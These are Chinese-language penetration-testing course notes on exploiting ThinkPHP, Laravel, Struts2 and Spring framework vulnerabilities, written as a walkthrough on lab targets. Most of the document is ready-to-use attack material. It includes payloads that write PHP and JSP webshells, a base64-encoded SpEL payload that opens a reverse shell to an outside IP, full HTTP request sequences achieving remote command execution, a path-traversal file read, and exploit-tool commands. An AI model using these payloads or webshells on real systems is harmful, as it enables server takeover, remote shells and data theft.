知识点
- PHP-框架安全-Thinkphp&Laravel
- J2EE-框架安全-SpringBoot&Struts2
常见语言开发框架
- PHP:Thinkphp Laravel YII CodeIgniter CakePHP Zend等
- Thinkphp占百分之80,Laravel占百分之十几
- YII国外比较多
- JAVA:Spring MyBatis Hibernate Struts2 Springboot等
- 早期(17年之前)为Struts2(漏洞最多,去年都有爆,但用的比较少了)
- 中间过渡(17-20、21)为Spring
- 当下(21之后)最流行Springboot
- Python:Django Flask Bottle Turbobars Tornado Web2py等
- Javascript:Vue.js Node.js Bootstrap JQuery Angular等
组件在框架之下,可以认为是插件
➢PHP-框架安全-Thinkphp&Laravel
Laravel
了解
- Laravel是一套简洁、优雅的PHP Web开发框架(PHP Web Framework)。
识别
- 浏览器插件识别
- 数据包返回识别,有的会有个laravel_session
- 真实情况不知道版本号,盲打就可以
CVE-2021-3129 RCE
- 影响版本:Laravel <= 8.4.2
- 利用:
- CVE-2021-3129:https://github.com/zhzyker/CVE-2021-3129
python3 exp.py http://127.0.0.1:8888
实际上是使用phpggc的去跑,之前有天讲过,并且使用过一次,可以参考:
第62天:WEB攻防-PHP反序列化&CLI框架类&PHPGGC生成器&TP&Yii&Laravel等利用 - 这个小迪只演示了这个,然后就没了,不知道怎么执行其他命令
- laravel-CVE-2021-3129-EXP:https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
- 这个项目倒是可以一键生成webshell,但是连接需要使用需要版本在[v2.96]以前的哥斯拉
- 我打靶场的时候,它生成的webshell长下面这样
- 我的哥斯拉是4.01连接了半天连接不上
- CVE-2021-3129:https://github.com/zhzyker/CVE-2021-3129
Thinkphp
了解
- ThinkPHP是一套开源的、基于PHP的轻量级Web应用开发框架
- Thinkphp老程序用的最多是3,最近几年比较火的是5,最新的用的是6
- 复现的是5、6,3太老了
识别
- 图标有点像个绿茶
- 响应包中有的会有X-Powered-By:ThinkPHP
- 浏览器插件识别
- 有的访问不存在页面之后报错可以看出
- 页面显示:页面错误!请稍后再试~
- Welcome BMH shooting range
Thinkphp-3.X RCE-6.X RCE
我的vulfocus抽风了,一直拉不到thinkphp的镜像。好吧今天起来居然拉好了,昨天可能抽风?
- 综合工具:武器库-Thinkphp专检(3-6版本)直接工具一键扫就行
- thinkphp 命令执行 (CVE-2018-1002015)
- thinkphp 代码执行 (CNVD-2018-24942)
- 6.X lang RCE
参考文章:https://blog.csdn.net/m0_71518346/article/details/128360317这两个payload。。。。,咋感觉有问题,好像用不了? ?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=@eval($_REQUEST['x']);?>+/var/www/html/x.php ?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=@eval($_POST['pass']);?>+/var/www/html/shell.php
确实创建了文件,但是好像传参没用
➢J2EE-框架安全-SpringBoot&Struts2
Struts2
了解
- Apache Struts2框架是一个使用JavaEE网络应用程序的Web框架。可能存在OGNL表达注入扩展,从而造成远程代码执行,风险极大。
识别
- url结尾可能以.action结尾
利用
- 老版本的直接工具一键打就ok
struts2 代码执行 (CVE-2020-17530)
- 影响版本:Apache Struts 2.0.0 - 2.5.25
- 利用项目GitHub地址:https://github.com/YanMu2020/s2-062
- 使用方式:
python .\s2-062.py --url http://47.98.193.176:18588/ 若显示有漏洞,则执行命令 python .\s2-062.py --url http://47.98.193.176:18588/ --cmd id
- 小迪说这个也可以打19年的那个CVE,但是我这里试了一下,显示失败
struts059 代码执行 (CVE-2019-0230)
- 使用方式:
Struts2 代码执行 (CVE-2021-31805)
- 影响版本:Apache Struts 2.0.0 - 2.5.29
- 修改exp中执行命令的部分,实现执行自己的命令,执行命令的部分在exec后面的那个url编码中,修改即可,我这里这个exp中是执行反弹shell
SpringBoot
Spring Boot 目录遍历 (CVE-2021-21234)
影响版本
- Spring-boot-actuator-logview 0.2.13之前版本
存在路径遍历漏洞,攻击者可通过该缺陷读取系统任意文件。
发现
- 黑盒中没办法直接看出来,需要直接盲打,白盒需要看是否引用以及版本对应
测试靶场(两个)
- GitHub下载地址:https://github.com/cristianeph/vulnerability-actuator-log-viewer
- vulfocus中的 Spring Boot 目录遍历 (CVE-2021-21234)
payload
http://47.98.193.176:8908/manage/log/view?filename=etc/passwd&base=../../../../../../ http://127.0.0.1:8887/manage/log/view?filename=/windows/win.ini&base=../../../../../../../
这里读取文件是基于这个项目下面的vulnerability-actuator-log-viewer-master\spring.log\spring.log这个文件为起始位置,所以如果你要是把这个项目放到其他盘不是c盘,上面那个是读取不到你的win.ini的,自己创建个文件,换一下路径读取一下就可以了
Spring Cloud Function Spel表达式注入 CVE-2022-22963
了解
- Spring Cloud Function提供了一个通用的模型,用于在各种平台上部署基于函数的软件,包括像Amazon AWS Lambda这样的 FaaS(函数即服务,function as a service)平台。
影响版本
- 3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2
发现
- 黑盒中没办法直接看出来,需要直接盲打,白盒需要看是否引用以及版本对应
EXP
POST:/functionRouter spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}")
修改exec中的base64编码的命令即可。
参考文档:https://developer.aliyun.com/article/1160011
Spring Framework远程代码执行漏洞 CVE-2022-22965
了解
- Spring Framework是一个开源应用框架,初衷是为了降低应用程序开发的复杂度,具有分层体系结构,允许用户选择组件,同时还为J2EE应用程序开发提供了一个好用的框架。
影响版本
- Spring Framework < 5.3.18,Spring Framework < 5.2.20
- Spring Framework 的衍生框架构建的网站或应用
EXP
写后门suyou.jsp
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22suyou%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=suyou&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1 Host: localhost:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close suffix: %>// c1: Runtime c2: <% DNT: 1
然后访问jsp触发后门:http://192.168.159.128:25157/suyou.jsp?pwd=suyou&cmd=whoami
额小迪演示的时候出问题是因为不管是post还是get包最后如果没有数据的话要有两行空行(注意是没有数据才要有,不是都要有),小迪复制粘贴的时候把上面那个空行给占了,数据包没有最后两个空行发包就会出问题,大家复制粘贴的时候注意不要选中如图,只将exp替换上面的部分即可,确保数据包下面要是没有数据的话要有两个空行
然后后面的时候小迪抓取到那个工具的包进行修改发包,发现还是无法成功,是因为我测试了一下,这个好像是只有第一次的发包才可以创建,后面不管怎么修改,修改的内容好像是会添加到那个返回包(就是第一次创建的那个jsp的返回包)里面可以看到,但是生效的还是第一次发送的那个包
工具项目
- GitHub地址:https://github.com/BobTheShoplifter/Spring4Shell-PoC
- 利用:
# 生成后门代码 python poc.py --url=http://192.168.44.131/ # 访问后门jsp http://192.168.44.131/tomcatwar.jsp?pwd=j&cmd=whoami
Spring boot命令执行 (CVE-2022-22947)
- 了解:Spring Cloud Gateway是Spring中的一个API网关。
- 影响版本:
- Spring Cloud Gateway 3.1.x < 3.1.1
- Spring Cloud Gateway 3.0.x < 3.0.7
- 其他旧的、不受支持的Spring Cloud Gateway 版本
- 漏洞复现参考文章:https://cloud.tencent.com/developer/article/2164533
- 额小迪中间post发包又出现问题就是刚才我上面说的那个原因,小迪复制粘贴那个数据包,又把原本数据包里面的那两个空行给粘贴没了,在bp看数据包末有没有空行直接看左边有没有数字即可,这两个数字右边为空行才对
- 复现:
注意:我下面给的只有数据包头部的数据包,大家替换时记得也只替换数据包头部,也就是,没有数据的数据包一定记得末尾有两行空行,不然大家发包send之后就会发现在send按钮变灰,并且一直在waiting- 首先,添加一个执行系统命令 id 的恶意 SpEL 表达式的 test 路由,发送如下数据包
POST /actuator/gateway/routes/suyou HTTP/1.1 Host: www.luckysec.cn:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Content-Type: application/json Content-Length: 329 { "id": "hacktest", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}" } }], "uri": "http://example.com" }
数据包返回Created表示创建成功
- 然后,应用刚添加的路由,将触发 SpEL 表达式的执行,发送如下数据包:
POST /actuator/gateway/refresh HTTP/1.1 Host: www.luckysec.cn:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0
返回200 ok
- 之后,访问 suyou 路由地址,查看命令执行结果,发送如下数据包:
GET /actuator/gateway/routes/suyou HTTP/1.1 Host: www.luckysec.cn:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0
- 最后,删除所添加的 test 路由,发送如下数据包:
DELETE /actuator/gateway/routes/suyou HTTP/1.1 Host: www.luckysec.cn:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Content-Length: 0
- 首先,添加一个执行系统命令 id 的恶意 SpEL 表达式的 test 路由,发送如下数据包
监控配置不当利用
- 见前面Actuator-heapdump利用讲解第68天:WEB攻防-Java安全&原生反序列化&SpringBoot攻防&heapdump提取&CVE
综合CVE利用工具
- SpringBootExploit项目地址:https://github.com/0x727/SpringBootExploit
- 小迪说建议使用低版本java启动
jdk1.8.0_112\bin\java.exe -jar .\SpringBootExploit-1.3-SNAPSHOT-all.jar
- 小迪说建议使用低版本java启动
- SpringBoot-Scan-GUI项目地址:https://github.com/13exp/SpringBoot-Scan-GUI
- 这个工具的话在one-fox工具箱里面有
- 利用工具扫描出漏洞后可以翻笔记进行测试
参考
学习内容均来自小迪安全系列课程:http://xiaodi8.com/